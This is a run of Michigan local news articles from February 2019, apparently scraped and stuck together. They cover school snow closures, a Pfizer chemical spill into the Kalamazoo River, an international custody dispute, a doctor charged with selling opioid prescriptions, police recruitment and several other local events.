Victory Inn & Suites is one of five brands under the A Victory Hotel International umbrella. The chain operates locations in Roosevelt Park, listed as Muskegon on its website, Ann Arbor, Dearborn, Detroit, Mount Clemens, Roseville, Southfield, Warren and two locations in Arizona.

This isnt the first time that A Victory Hotels International had its brand associated with human trafficking.

The Ann Arbor location at 3750 Washtenaw Ave. also was the source of numerous prostitution complaints and is embroiled in an ongoing lawsuit that seeks to have the location closed.

A man who was referred to as a sneaky pimp by Washtenaw County prosecutors was sentenced to jail in November 2018 after he admitted to collecting prostitution money and sexually assaulting a 22-year-old woman from Georgia who worked from him at the Ann Arbor location.PUNTA GORDA, FLORIDA -- Western Michigan University is closing its Punta Gorda location in Florida, according to a press release.

The universitys Florida campus, which offered programs for music therapy and aviation students, will be closed effective Aug. 31, the release said.

The programs began in Punta Gorda in fall 2017 with an expectation to partner with local developers and Florida Southwestern State College to create student housing and grow enrollment. That plan did not materialize, the release said.

Shifting demographics in the region and substantially less than anticipated" enrollment in the aviation program were reason behind the closure, the release said.

The campus currently enrolls two music therapy students and 38 aviation students.

The aviation flight science program was offered on the campus of Florida Southwestern State College and the Punta Gorda Airport. The College of Aviations presence in Florida was locally operated by 13 employees, the university said.

The program needs more than 200 students to sustain itself, something that is not achievable in the current market, the release said.

This decision does not come lightly," Jennifer Bott, provost and vice president for academic affairs, said in the release. Enrollment projections and elements critical to the locations success have not developed as anticipated."

The decision to close the campus is in the long-term best interest of Western and represents good stewardship of resources, Bott said.

We take seriously our responsibility to deliver our core mission to serve Michigan, while also keeping an eye on financial stewardship," Bott said. "Given the changed landscape and our refined enrollment projections, I am confident we can best serve our students by fully focusing on the College of Aviation at its Battle Creek location.

WMU also operates the Aviation Education Center on the colleges W.K. Kellogg Airport campus in Battle Creek. The university announced a $20 million renovation to the Battle Creek campus for enrollment increases in 2016.

Plans have been developed to transition Florida music therapy students back to Kalamazoo at the end of the spring semester, the release said. The university will help other students find options to either continue their education at WMU or at another institute.

WMU is committed to advising all students and developing transition plans that keep students on track and help them attain their degrees while easing the impact of the closure on them, the release said.

None of the Florida-based employees are expected to stay with the university after the closure, the release said.UPDATE: Western Michigan University has also closed.

KALAMAZOO, MI  Dangerous travel conditions, particularly along the I-94 corridor, have resulted in school closings in Kalamazoo and area districts on Wednesday, Feb. 13.

The National Weather Service in Grand Rapids said dangerous conditions are expected south of I-96 with heavy lake-effect snow and gusting winds.

Schools in Kalamazoo, Comstock, Covert, Mattawan, Plainwell and Vicksburg area among schools closed today. Fennville, Greenville, Ionia and Portland are closed, too.

To the north, schools in Grand Haven, Muskegon, Big Rapids and Ludington are among those closed. Grand Haven schools noted secondary-road conditions and drifting snow.

For a complete list of closings and delays, go here.

The weather service said that drivers along the I-94 corridor are expected to face highly variable visibility, with near-zero white-out conditions possible. Forecasters urged motorists to travel at safe speeds and leave plenty of room between vehicles.

Snow shows and winds are expected to decrease in the afternoon.KALAMAZOO, MI -- Toxic chemicals from a Pfizer facility entered the Kalamazoo River after passing through the city of Kalamazoos wastewater system.

Human error caused almost seven times greater than the citys standard for methylene chloride to be released from Pfizer facility at 7000 Portage Road into Kalamazoos water treatment plant on Nov. 1, 2018. The toxic chemicals made it more difficult to treat ammonia at the wastewater plant for five days and entered the Kalamazoo River, prompting action from the Michigan Department of Environmental Quality.

According to the U.S. Environmental Protection Agency, short-term exposures through the air or skin contact can result in harm to the central nervous system and even death.

Methylene chloride is a solvent used in consumer and commercial products like adhesives, pharmaceuticals, metal cleaning, chemical processing, aerosols and paint and coating removers. Pfizer spokesperson Sally Beatty said final products do not contain methylene chloride.

The incident is considered an accident, according to documents released to MLive/Kalamazoo Gazette through the Freedom of Information Act. Pfizer notified the city that it was the source on Nov. 8, 2018, seven days after the spill, after results came back for samples taken during its monthly-self monitoring process.

Kalamazoo Environmental Services Supervisor Steve Rochow said a Pfizer employee bypassed an alert that would have prevented excess methylene chloride from leaving the facility.

If he would have left it alone it would have done what its supposed to do, but their operator did stop the normal process and thats what caused some of the release, Rochow said.

Pfizer spokesperson Sally Beatty said the company completed corrective actions required by the city of Kalamazoo, including an explanation of actions taken to prevent further violations and additional monitoring. Beatty said employees will be trained and protocols were revised to make sure this wont happen again.

Our plant operators appropriately responded to the alarm, in accordance with operating practices, Beatty said. In the course of the response, an error was made which led to the discharge to the reclamation plant. We performed a detailed investigation, and made revisions to operating practices and re-trained operators.

Wastewater effluent limits are established by toxicologists to protect aquatic life in local rivers. DEQ Environmental Quality Analyst Terri Shattuck said the discharge was determined to be harmful to aquatic life at the time of its release.

Long-term effects of the spill are unknown, Shattuck said.

The spill caused the city to exceed effluent standards for methylene chloride set by Michigans Natural Resources and Environmental Protection Act.

Documents show Pfizer was unable to determine the the amount of methylene chloride released or the exact location where it was discharged. The city estimates 2,693 pounds of methylene chloride were released.

We continually receive methylene chloride in the waste stream, its just that we received a spike in what we usually handle, Department of Public Services Director James Baker said.

DEQ officials required the city of Kalamazoo work with Pfizer to take corrective action through its Industrial Pretreatment Program. A DEQ inspection of the citys wastewater plant will occur later this year.

Its up to the city to work with Pfizer and determine what is the best corrective action, Shattuck said. The city knows what is going on better than I do.

Methlyene chloride limits set by the city of Kalamazoo for wastewater entering its system include a daily maximum of 10.5 parts per million and a monthly average limit of 3.8 ppm. Pfizer discharged 70 ppm in one day and a monthly average of 8.88 ppm last November.

Limits set by the DEQ for discharge exiting the wastewater system into the Kalamazoo River include a daily maximum of 17 ppm and a monthly average of 3 ppm.

The wastewater treatment plant discharged a monthly average of 3.8 ppm in November 2018, according to documents.

Kalamazoos water reclamation plant treats wastewater from 30 industrial users across Kalamazoo County. Pfizer is the largest, sending around 2 million gallons of wastewater to the plant daily to be treated and released into the Kalamazoo River.

Documents show Pfizer discharged high amounts of methylene chloride into the wastewater system on Nov. 1, 2018.

The Kalamazoo water reclamation plant started experiencing issues treating ammonia the next day, according to city documents. Baker said the plant became less efficient due to a reaction with methylene chloride.

The wastewater plant was removing 99 percent of ammonia from wastewater before the spill, but was removing just 65 percent of ammonia two days later. The plant did not exceed any effluent standards for ammonia, which can cause irritation through skin contact.

An investigation identified key industries sampled daily for pollutants, including Pfizer.

Pfizer performs monthly self-monitoring for methylene chloride and other chemicals.

Trace Labs was hired by the city to analyze samples. If found samples exceeded the daily and monthly maximum limits for methylene chloride and the monthly limit for acetone. Trace Labs found lower results after re-analyzing the samples.

The revised results showed compliance with daily and monthly limits for acetone, but not methylene chloride.

Meanwhile, the EPA is determining whether methylene chloride should be banned. It proposed prohibiting the use of methylene chloride in paint strippers for consumer products and commercial uses in 2017, but has yet to implement the ban.

In the absence of federal action, several majors retailers took action over the past year to remove methylene chloride-based paint strippers from their shelves. Walmart, Lowes, Sherwin-Williams, and Amazon committed to phasing out products that contain the toxic chemical.

The Occupational Safety and Health Administration considers methylene chloride to be a potential occupational carcinogen. It set airborne exposure limits to protect workers.KALAMAZOO, MI  The Kalamazoo Symphony Orchestra will soon launch a search for a new executive director after the departure of Peter Gistelinck.

Gistelinck, president and CEO of the organization since 2014, has left and the orchestras board of directors plans to name an interim executive director by the end of February, KSO officials said in an announcement. The organization did not state Gistelincks reason for departure.

KSO plans to launch a search for a permanent executive director.

During Peters tenure, the board instituted a multi-year strategic plan that continues to serve as our road map and puts us in a strong position to continue our long history in this community, Steven Kreider, KSO board chair, said in a statement. The board looks forward to meeting with qualified executive director candidates. In the meantime, all of us at the KSO are focused on serving our community through outstanding musical listening and learning experiences. As we prepare for our 99th season, we expect that the future holds nothing but the best for the Kalamazoo Symphony.

Before coming to Kalamazoo, Gistelinck served as the executive director of the Chamber Orchestra of Philadelphia, a post he started in 2006. He took over for Jennifer Barlament, who became the general manager of the Cleveland Orchestra. His appointment was unanimous after a six-month, nationwide search.KALAMAZOO, MI  A Kalamazoo Civic Theatre production will feature award-winning television and Broadway stars.

Edie Falco and Stephen Wallem will entertain Kalamazoo audiences in a production of A.R. Gurneys romantic play, Love Letters, on the Civic Auditorium stage at 7:30 p.m. shows on Thursday, Feb. 14, and Friday, Feb. 15.

Falco is an award winning actress best known for her television roles as Carmela Soprano on the HBO series The Sopranos from 1999 to 2007 and as the title role in the Showtime Series Nurse Jackie from 2009-2015. Falco has won several Emmy, Golden Globe, and SAG awards and is the first female actor to receive the Television Critics Association Award for Individual Achievement in Drama, according to the theater.

Falco was cast in the sequels to the movie Avatar, according to an announcement last week.

We are thrilled to share that Edie Falco is joining the #AvatarFamily as General Ardmore, the Commander in charge of the RDA's interests in the Avatar Sequels!



Are you as excited as we are? pic.twitter.com/6fIZzpwN7O  Avatar (@officialavatar) February 6, 2019

Wallem is a SAG Award-nominated actor best known as Thor Lundgren for seven seasons on the Emmy-winning Showtime series Nurse Jackie. Other TV appearances include Horace and Pete, Hulus Difficult People and HBOs Divorce. He returns to Kalamazoo after being seen as Max Bialystock in the Farmers Alley Theatre production of The Producers last summer, the Civic said.

Love Letters is the story of a 50-year correspondence between Melissa Gardner and her childhood-friend-turned-love-interest, Andrew Makepeace Ladd III. The Civic describes it in a news release as An evocative, touching, funny play where what is implied is as revealing and meaningful as what is actually written.

Love Letters is a special fundraising event to celebrate the Civics 90th season, according to the theater. Tickets are $50 per person and include a post-show reception with Falco and Wallem.

Tickets are available online at KazooCivic.com or call 269-343-1313.The shackled teen killer seemed calm as he exchanged smiles with a relative who blew a kiss from across the courtroom prior to his sentencing Wednesday, Feb. 13.

There was little mystery. Dabronte Roberson, 19, already made a deal with Washtenaw County prosecutors. He would forgo trial and plead guilty to second-degree murder for the fatal shooting of 23-year-old Garland Johnson during an argument outside a Dairy Mart on Grove Street in Ypsilanti Township about 10:30 p.m., July 4.

In exchange, prosecutors agreed to recommend a sentence between 10 and 20 years in prison -- and thats the punishment Washtenaw County Circuit Judge Archie C. Brown ordered, to the dismay of some relatives.

From my observing of the (surveillance video), the young man had a choice, said Johnsons grandmother, Sarah Johnson, 67, of Ypsilanti. "He could have walked away and we wouldnt be here today.

" ... Ill just say that, in life, youre going to reap what you sow."

Johnsons mother said during the sentencing hearing she hasnt had a peaceful day since her son was shot.

I do not understand how ones life can be taken so openly without a care in the world, without a second thought," said Margaret Terrell, 50, of Flint. For this young man to pull the trigger that took Garlands life seemed too easy for him to do, so callous, so uncaring.

" ... Garland had a hard life all too soon and throughout his years endured so much pain. He was trying to get his life back together, trying to put the pieces back into place."

He had so many more years to shine, Terrell said before wishing upon her sons killer a life of regret. She condemned the plea deal as insane.

Terrell said her sons past shouldnt influence the sentence to be served by his killer.

Johnson was on parole for 2013 convictions of felony assault, carrying and concealed weapon and breaking and entering at the time of this death, according to Michigan Department of Corrections records.

This is not a situation where Mr. Roberson left his home that day with the thought that he was going to end up having taken someones life, Robersons attorney, Delphia Simpson, told the judge. " ... When he gets out of the car, hes going into the store to get a pop and some Skittles and ends up in a situation where he ends up shooting someone and that person dies."

In addition to the prison sentence, Judge Brown ordered Roberson to pay $13,306.60 in restitution to Johnsons family for funeral and other costs.

Roberson is already serving an 18-month prison sentence for a separate conviction in Wayne County on charges of felony firearm, carrying a concealed weapon and possession of fewer than 25 grams of cocaine.

He also admitted guilt in three separate cases involving charges of resisting, obstructing or assaulting a police officer, fraud and marijuana possession prior to turning 18.

I just want to apologize to the family, Roberson said before being sentenced. I never wanted for this to happen. I feel bad for it and I have a lot of remorse.

As he left the courtroom, Roberson turned toward family and friends, nodded and said, I love you.

I love you, too, several responded, as sheriffs deputies led him away.JACKSON, MI -- Slippery, icy and snowy roads are causing Jackson-area schools to cancel classes for a second day in a row on Wednesday, Feb. 13.

Here is the list so far. It will be updated as closings come in.

Wednesday is the states official spring student count day, which helps determine school districts state funding. Schools closed on this day will apply to the Michigan Department of Education for an alternate count day.

Columbia School District -- child care is open

Concord Community Schools

da Vinci Institute

East Jackson Community Schools

Francis Street Primary

Grass Lake Community Schools -- child care is open

Hanover-Horton School District

Hillsdale Preparatory School

Homer Community Schools

Jackson Area Career Center

Jackson Catholic Schools

Jackson Christian School

Jackson Preparatory & Early College

Jackson Public Schools

Leslie Pubic Schools

Litchfield Community Schools

Lyle Torrant/Kit Young Centers -- includes all Jackson County Intermediate School District special education programs. No transportation

Marshall Academy

Marshall Public Schools -- Shamrock Center is open

Michigan Center Schools -- child care open

Napoleon Community Schools

North Adams-Jerome Public Schools -- parent-teacher conferences will be rescheduled

Northwest Community Schools -- includes preschool and child care

Onsted Community Schools -- 2-hour delay -- no morning tech center classes for high school students

Paragon Charter Academy

Rise Above-Jackson

Springport Public Schools -- elementary conferences canceled. Spartan Den Day Care closed

Stockbridge Community Schools

Trinity Lutheran Schools -- daycare is open

Vandercook Lake Public Schools

Western School District -- Little Panthers Daycare opens at 7:30 a.m.

White Pine Academy

Will Carleton AcademyHOLLAND, MI -- A man found dead in a snowy ditch near U.S. 31 has been identified as 33-year-old Lindsey Loring Waite of Brimley in the Upper Peninsula.

Holland police released the mans name Tuesday, Feb. 12.

A passerby on U.S. 31 spotted the body about 10:35 a.m. Saturday, 9 in a field near a Starbucks store at the southwest corner of 16th Street and U.S. 31.

Police said an autopsy was performed on Waite, but the results are pending. Police do not believe the death is suspicious.

There were no signs of trauma on the body, nothing suspicious was located at the scene, police said.

Anyone with information about Waite can call the Holland Department of Public Safety at 616-355-1150, email investigators at policetips@cityofholland.com or call Silent Observer at 1-877-887-4536.GRAND RAPIDS, MI  A West Michigan couple, with their four young children, sold their home and left trappings of American life behind to embark on an epic adventure, traveling the world with lives of "location independence.

They visited the Philippines, Thailand, Singapore, South Africa, Qatar, Spain and Portugal, among many other places, before returning to the United States. Then, they set off again, for Mexico and South and Central America countries.

Now, the couple  Rebekah and Paul Kortman  are embroiled in an international custody dispute after she brought the kids back to West Michigan while he stayed in Guanajuto, Mexico, where, he says, they had established residency.

He contends the children should be returned to him and that the custody issue should be decided by a court in Mexico, not the United States.

He filed a federal lawsuit in U.S. District Court in Grand Rapids under civil aspects of the Hague Convention, which is intended to protect children from parental abduction and to return them to their habitual homes.

The circumstances in Kortman v. Kortman have not previously been litigated under Hague, an attorney said.

U.S. District Judge Robert Jonker said the case presents an unusual legal question.

At a minimum, this presents  at least for this court  a novel context for application of the Hague Convention, he said.

He urged the parties to brief the court on whether and how the Hague Convention deals with the concept of habitual residence for a family that evidently promoted and chose a life of location independence before the parental dispute arose. Their website asks, Will we settle somewhere or will we do travel as a lifestyle? Were not sure, but what we know is were location independent and enjoying it.

They had spent a year living in the Philippines, Thailand, South Africa and a Kent County farmhouse overlooking the Flat River when they were featured in a 2015 MLive/The Grand Rapids Press article on being location independent. They were also featured in a story on nomadic families by The New York Times.

Paul Kortman had established a digital marketing company that allowed him to work anywhere. They sold their house near Newaygo and hit the road.

They created websites, nomadtogether.com, and Home Along the Way, to share experiences with other families choosing the lifestyle.

The Kortmans began living in Mexico with their children in November 2015. They applied for permanent residency status that month and were granted such status in January 2016.

The wife contends they only sought the status to avoid costs of traveling to have visas renewed.

The parents separated in May.

They shared parenting time until Aug. 2, when the mother secreted the minor children out of Mexico and into the United States, his attorney, Matthew DeLange, wrote in court documents.

Rebekah was aware that Paul did not consent to the minor children being removed from Mexico.

DeLange argued the Hague Convention requires participating countries to protect the interest of aggrieved parties  pending resolution of their claims. Accordingly, Congress empowers federal courts to take any measures available under law to protect the well-being of the child involved or to prevent the childs further removal or concealment before the final disposition of the [Hague] petition.

The father said he had parental custodial rights under Mexican law where the divorce and custody action were pending.

All he wants, his attorney said, is his childrens return to Mexico, their habitual residence, which would not change their mothers own custody rights.

Federal judges are authorized, under the Hague Convention, to determine the merits of a claim for wrongful removal or retention of a child. The Hague Convention does not, however, allow the district court to consider the merits of any underlying custody dispute, DeLange wrote.

He said the Hague Convention is intended to restore the pre-abduction status quo and deter parents from crossing borders in search of more sympathetic courts.

DeLange, who did not respond to requests for comment, said it is possible that Rebekah and the children could go into hiding. The judge has ordered the children to stay in the Western District of Michigan.

Attorney Robert Alvarez represents Rebekah Kortman. He has handled other Hague Convention cases and has a case pending before the U.S. Supreme Court. He said the international law should not apply.

The Kortmans, he said, set off on an epic adventure that included traveling to other countries, and producing a blog, podcasts, Facebook posts and a book about their nomadic lifestyle.

Ultimately, travel and financial problems put too much stress on the marriage.

This matter offers this court a unique set of circumstances as yet unseen in Hague litigation, Alvarez wrote. Should the Hague Convention apply when two parties take their children on an extended vacation from a presumed home base in the United States or where the parties have purposely pursued a lifestyle that promotes location independence?

He said the family was continuing its nomadic lifestyle, and, though they had been living in Mexico, had not established residency by settling down in an actual home, getting jobs and enrolling their children in schools and other activities.

As the parties intent was simply to travel and they made the purposeful and very public decision to not only be location dependent but to teach others how to do the same, the United States should have jurisdiction over this case.

He said they never settled in Mexico but their travel plans ended because of money problems, martial strife  and weariness of living in a cramped, unreliable motor home.

He said the husband cannot accept that they cannot afford to continue their travels. His client, however, is realistic about the parties current situation, and she simply returned home after a long vacation, he said.

In this case, returning the children to Mexico would produce a bizarre result given the lack of roots placed by the family, and thus the children, in any one location.

He said the husband falsely claimed to have a residence in Mexico by using his attorneys address and saying he was retired.

The children had a home in West Michigan, family and a school.

The same can never be said of Mexico.

The mother wanted to bring the children to visit their father in Mexico but feared he would have her arrested for kidnapping, Alvarez said. She contacted the U.S. Embassy the day before she had a driver take her and her children across the border to Laredo, Texas, court records showed.

She said she was told by the embassy she could legally return to her home country with her children.

The husband said he had rights of custody under Mexican law and said his estranged wife wrongly held the children in Mexico. Alvarez said their habitual residence is in the United States, so they cannot be wrongfully maintained by their mother.

Alvarez declined to comment beyond whats contained in court filings.

Jonker, the judge, urged both sides to reach an early resolution to the case outside of court.

The court recognizes the reality that parties are sometimes unable to come to an agreement and if an agreement cannot be reached in this case, the court stands ready to adjudicate the matter. However, while this case presents interesting and compelling facts and issues, all sides should be mindful of the real-world impact that will likely follow from litigating this case."GRAND RAPIDS, MI -- The Grand Rapids Police Department expects to lose 15 officers to retirement annually over the next five years -- an increase from the last decades already strenuous attrition rate.

In addition to the uptick in expected retirements, the police department is facing additional hiring challenges due to less people pursuing law enforcement jobs and, thus, more competitiveness in the industry.

To combat the recruiting woes and to be more competitive with other agencies, Grand Rapids is keeping a continuous job posting open indefinitely for certified police officers who are either currently attending a Michigan police academy, scheduled to attend an upcoming 2019 Michigan police academy or a police officer in another state.

By keeping the posting open, the department can find quality candidates as theyre coming through police academies, not just when the city is ready to hire another officer class. They can get applicants through the testing and background phases before candidates graduate the academy, as needed.

Because of the high number of police agencies in Michigan who are hiring police officers, we are having to be more competitive in our search for the best qualified candidates, said Sgt. Cathy Williams.

The Grand Rapids Police Department has 296 full-time sworn police officers. Its authorized to have 295 on the books, but is granted an additional 10 personnel due to the duration of the training process.

Typically, were prepared for people to retire, said Interim Police Chief David Kiddle. The issue is whether or not we can hire to replace as quickly as theyre leaving. Right now, were successful in doing that because the city lets us hire above our authorized strength.

Sgt. Williams estimated that the number of officers who will be retirement eligible in the next three years is easily more than 50.

The department has averaged 12 personnel losses a year for the last 10 years due to retirement and resignation. Williams said she expects that number to increase to an average of 15 officers per year over the next five years.

Grand Rapids offers a financial incentive program to retain sworn officers, who are eligible for retirement, for up to five additional years. As of Monday, Feb. 11, the department had 13 officers using that program.

Its very important for us to keep experienced personnel around," Kiddle said.

It wasnt uncommon 20-30 years ago for the police department to receive more than 1,000 applications for every 10 positions. Over the last five years, however, the department has received an average of 358 applications, per year, for certified police officer jobs.

Since bringing back the non-certified police recruit positions, which pay for an individual to go through the police academy, the department has received an additional almost 1,000 applications each of the last three years.

Kiddle said bringing back the police recruit positions hasnt had a fall off in the quality of officers. Rather, he said it has allowed the department to add individuals with more life experience who maybe couldnt put themselves through the academy due to the cost obstacle.

In explaining the decline in applications in recent years, Williams cited a variety of factors including the reduction of population entering the general workforce, the number of workers retiring, competition with the private sector and "the anti-law enforcement sentiment across the country.

This is a nationwide problem, Kiddle said. Theres not enough candidates entering the field and were all fighting for the same candidates. Its a challenge so anything we can to bolster those coming to us, well try to do.

For years, the police department has requested additional funding from the city commission to hire more officers. The city is currently undergoing an external study of its police staffing levels and deployment to provide a recommended framework for the department moving forward.

The $100,000 staffing study was approved in November, and is expected to be completed this spring.

Grand Rapids announced its continuous job posting last week. Since then, the department has collected at least 34 applications.

The job comes with a salary in the range of $47,597-$74,296, plus benefits. Qualified candidates are at least 18 years old, will have a valid drivers license by the date of hire, and have a high school diploma or GED.

Additionally, candidates must meet the employment requirements as established by the Civil Service Board, and must pass the Grand Rapids Civil Service Exam for Police Officers.

For more information or to apply, check out the online job posting or contact the police department at 616-456-3176.GRAND RAPIDS, MI  A Grand Rapids physician is accused of providing opioid prescriptions in exchange for cash and street drugs such as cocaine and methamphetamine.

Dr. Richard Samuel Piazza allegedly wrote the prescriptions without conducting any physical examinations.

The allegations stunned Paul Farage, owner of the Society of Healing Arts Institutes, which provides medical marijuana certification and holistic medical services.

Piazza, who worked at the center for over five years, is one of several doctors. He was known as a compassionate physician who truly cared about patients, including those with no way to pay, Farage said.

His patients loved him, Farage said.

The allegations do not implicate the clinic. The allegations say that Piazza provided prescriptions outside of the office. The prescription slips themselves, however, contained the companys logo, Farage said.

He said it was hard to reconcile the man he knew, who worked to get patients off of opioids, sometimes by prescribing medical marijuana, and the man accused by the federal government of providing highly addictive drugs that have contributed to the national opioid crisis.

For example, between December 2017 and January 2019, Piazza wrote 76 prescriptions for controlled substances to six people at the same location in Montcalm County. He prescribed 2,985 hydrocodone pills and 2,520 oxycodone pills, all opioids, and 3,480 anxiety pills, the government said.

The large number of prescriptions for highly abused controlled substances written by Dr. Richard Samuel Piazza to individuals at this address, coupled with the fact that six different people at the same address were receiving the same or substantially the same prescriptions from him, indicates that those prescriptions were written outside of the usual course of professional conduct and for no legitimate medical purpose, Justin Reniger, a U.S. Drug Enforcement Administration Task Force officer, wrote in a federal criminal complaint.

Piazza is held pending a detention hearing on Friday, Feb. 15, before U.S. District Magistrate Judge Phillip Green in Grand Rapids.

A pharmacist last year reported to the DEA that Piazza had written a large number of opioid prescriptions to be filled at his pharmacy.

The pharmacist thought this was strange because it was the pharmacists understanding that Dr. Richard Samuel Piazza was a holistic medical marijuana doctor, Reniger wrote.

Piazza has had his troubles, court records show.

In 1995, he surrendered both his DEA license and state of Kansas license to prescribe schedule II and III controlled substances for overprescribing, court records said.

A year later, Piazza surrendered his license issued by the Osteopathic Medical Board of California for an undisclosed disciplinary action, Reniger wrote in the complaint. In 1997, the Iowa Board of Medicine disciplined Piazza for being sanctioned in California and Kansas, the DEA agent said.

In 2006, the Iowa Board of Medicine charged Piazza with engaging in a pattern of unprofessional conduct and fraudulently obtaining his medical license for failure to provide complete information in an application to have his Iowa medical license reinstated.

The Iowa Board of Medicine said Piazza declined to report criminal acts  battery, disorderly conduct, unlawful discharge of a firearm, domestic violence and bodily harm  in his application for reinstatement.

In September, he was arrested in Montcalm County for allegedly possessing less than 25 grams of cocaine and delivery of marijuana, Reniger wrote in court records.

From 1988 to 2005, he was registered by the DEA as a practitioner in Kansas. In 2008, the state of Michigan issued Piazza a license and a pharmacy-type license to prescribe controlled substances.

Investigators worked with three unindicted conspirators who said Piazza provided them with prescriptions for prescription pills. One of them said he had driven with Piazza to various places in West Michigan so Piazza would write prescriptions for cash, marijuana or other drugs, the DEA said.

Another said he would obtain names and identifying information from others so that Piazza could write prescriptions in those names. The unindicted conspirator would then sell the pills on the street, the DEA said.

In late June, he sent a message to someone saying he had been robbed and needed $100. He offered free medications for six months for the help.

On Feb. 5, a pharmacist working for a pharmacy reported that a request for a prescription written by Piazza was rejected because of suspicions it was written outside the usual course of professional practice and for no legitimate medical purpose.

The person trying to fill the prescription had an Ohio address. He tried to get it filled at another store in the chain but it was rejected there, too.

Farage, owner of the clinic where Piazza worked, said it is hard for those who worked with Piazza to think he would sell prescriptions for opioids when he worked to get people off of the addictive drugs.

He said Piazzas wife died in March 2017 and it affected him a lot more than he let on.

Farage said his business, while providing marijuana certification, caters mostly to clients 40 and older.

Its not a place young kids go to get a card for smoking marijuana.

He said that any medications that Piazza prescribed his clients at the clinic were needed medications. Farage said the DEA contacted him during the investigation and determined no crimes occurred at the office on Lake Drive SE.

The office, the Society of Healing Arts Institutes, (and workers are) not under any investigation in any way, Farage said.

Farage said that Piazza, if guilty of the crimes hes accused of, hurt a lot of people. He would not defend the doctors actions. He said he had no idea what was going on.

I feel betrayed by the doctor, he said.GRAND RAPIDS, MI -- Officials from Grand Rapids and the rest of the Knapps Corner Drain District are hoping that partnering with business owners in the Knapps Corner area to cut back on the use of de-icing salt has been enough to reduce levels of chloride in the areas groundwater.

If thats the case, they can avoid a $7.6 million expense for a more significant fix.

On Jan. 29, the Grand Rapids city commission approved a request to the Kent County Drain Commissioner for additional monitoring of the Knapps Corner District to see if efforts to reduce the high chloride levels found in wells in the area in 2016 have been successful. The official vote was delayed two weeks after a winter storm canceled the Jan. 29 evening city commission meeting.

The price tag for the proposed one-year study is about $104,000, with Grand Rapids expected to pick up about $83,880 of the bill. That would leave Grand Rapids Township to pay $11,625, the Michigan Department of Transportation to pay $4,654, and Kent County to pay $3,852.

The Grand Rapids commission is expected to finalize the request to the drain commission at its 7 p.m. Tuesday, Feb. 12, meeting as part of a sweeping consent agenda vote. Then the request will go to the Kent County Drain Commissioners Office for consideration.

This is a smart option for us as we look at ways to hopefully not only solve the problem but prevent additional millions of dollars spent on infrastructure, said Mayor Rosalynn Bliss.

In 2016, a new resident living along Dunnigan Avenue NE alerted Grand Rapids Township officials to the salty" water coming from their well. Tests by the Kent County Health Department identified 11 residential wells with chloride levels in excess of the federal standard of 250 milligrams per liter.

Levels tested by the county were as high as 1,217 milligrams per liter. The levels dont pose a health hazard, according to the health department, but the taste isnt ideal, and the chloride can corrode household plumbing.

Investigation by the county, township, city and road agencies tied the high chloride levels in the Northeast Grand Rapids neighborhood to de-icing agents, like the salt used on nearby parking lots and roads. The salt would wash into the storm water drainage system serving the about 150 acres of developed property at Knapps Corner and Knapps Crossing.

The municipal organizations behind the Knapps Corner Drain District spent almost $1.1 million last fall to install a new water main along Dunnigan Avenue NE to serve homeowners whose wells were impacted by the high chloride levels. Residents who wanted to switch to the city water system have been able to do so, according to Carrie Rivette, the citys wastewater/stormwater maintenance superintendent.

Installing the new water main was the first of a planned two-phase project. The second phase was intended to include a more elaborate solution, estimated to cost $7.63 million. It would include modification of the detention basin and construction of a stormwater pumping station, force main and gravity storm sewer.

But Rivette said drain district officials and Knapps Corner area property owners are trying to avoid the second phase by reducing the amount of de-icing salt used, and convincing other property owners in the area to do the same.

We want to get a study to see if those improvements are making a difference in the water quality, Rivette told the commission.

The county drain board will hold a meeting at 9 a.m. Wednesday, Feb. 20, to consider Grand Rapids request for the one-year study of chlorides in the ground water in the area of the Knapps Corner drain.

If the drain commissioner approves the project, Grand Rapids officials intend to perform a special assessment for the private properties in the district within the city to recover $62,047 of the cost invoiced by the drain commissioners office. The city will pay the remaining $21,833.GRAND RAPIDS, MI -- Authorities are asking for public assistance in investigating an alleged attempted abduction of a 14-year-old girl on the way to her bus stop Wednesday, Feb. 13, in Grand Rapids.

Police said the girl and her 12-year-old brother were walking toward their Southeast Grand Rapids bus stop when they encountered a man in the area of Sigsbee Street SE between Diamond Avenue SE and Barth Avenue SE.

The children told police that the man parked his vehicle on the street, approached them on foot, and offered to drive them to school. When they hesitated, police said the man grabbed the girl around the neck.

Police said the incident was thwarted when an unknown resident in the area yelled at the suspect, who fled in a dark-colored passenger car. Detectives had not identified the resident, as of 2:15 p.m. Wednesday, but asked for the individual to come forward.

The bus stop the children were walking toward is in the area of Logan Street and Barth Avenue SE.

Grand Rapids Public Schools and the Grand Rapids Police Department are working together as part of the investigation, and extra patrols will be conducted Wednesday during school dismissal, police said.

Police ask anyone with information about the alleged assault to contact the police department at 616-456-3400, or Silent Observer at 616-774-2345.GRAND RAPIDS, MI -- Grand Rapids officials have agreed to fund a Riverside Park improvement project using parks millage funds and a $150,000 grant from the Michigan Department of Natural Resources.

The project will include the installation of a universal-access canoe and kayak launch at the Northeast Grand Rapids park, as well as renovations to the restroom building, picnic shelter, paved ADA parking spaces, pathway, benches, picnic tables and signage.

On Tuesday, Feb. 12, the city commission approved a $150,000 recreation passport grant agreement with MDNR, which requires the city to fund the remaining $80,000 for the estimated $230,000 park improvement project. The citys portion of the bill will be paid for using the parks millage fund.

We want everyone in our community to enjoy our parks, rivers and lakes, and this funding allows us to provide easier water access for individuals with mobility challenges, said David Marquardt, the citys parks and recreation director, in a press release.

Canoeing and kayaking is ranked among the top recreational activities for Grand Rapids residents, and this project makes paddling activities more accessible to our entire community.

The citys parks and recreation department applied for the grant in March.

The Riverside Park project is slated to begin in spring 2020, and has to be complete before March 31, 2021, according to the agreement with MDNR. The project focuses on the middle section of the park around the lagoon, which is the oldest area of the park.

City staff said the lagoon is the largest body of still water in Grand Rapids park system and is the location for the safest paddling experiences.

Renovations include replacing the old dock with the universal-access launch that features guide rails for easy access in and out of the water, launch rollers for easy movement of the watercraft, and a transfer bench for easy transfer from wheelchair to watercraft.

The current restroom/shelter building is slated to be demolished and replaced with separate facilities.School officials across mid-Michigan will be keeping an eye on the weather ahead of a big day for districts.

Wednesday, Feb. 13 in the second count day for the 2018-19 school year which accounts for 10 percent of the state funding that goes toward school districts. The October 2018 count day accounted for the other 90 percent.

But the possibility does exist for schools to be off given winter weather advisories in place for counties including Genesee, Saginaw, Bay, Lapeer, Midland, Tuscola, Huron and Shiawassee that call for more snow overnight Tuesday and wind gusts of up to 45 miles per hour into Wednesday that could lead roads to become icy and snow-covered once again.

Some districts have already made the move to cancel classes on Wednesday including Mt. Pleasant, Sheperd, Ithaca, Alma Breckenridge, and St. Louis schools.

So, what happens if a snow day is called on a count day?

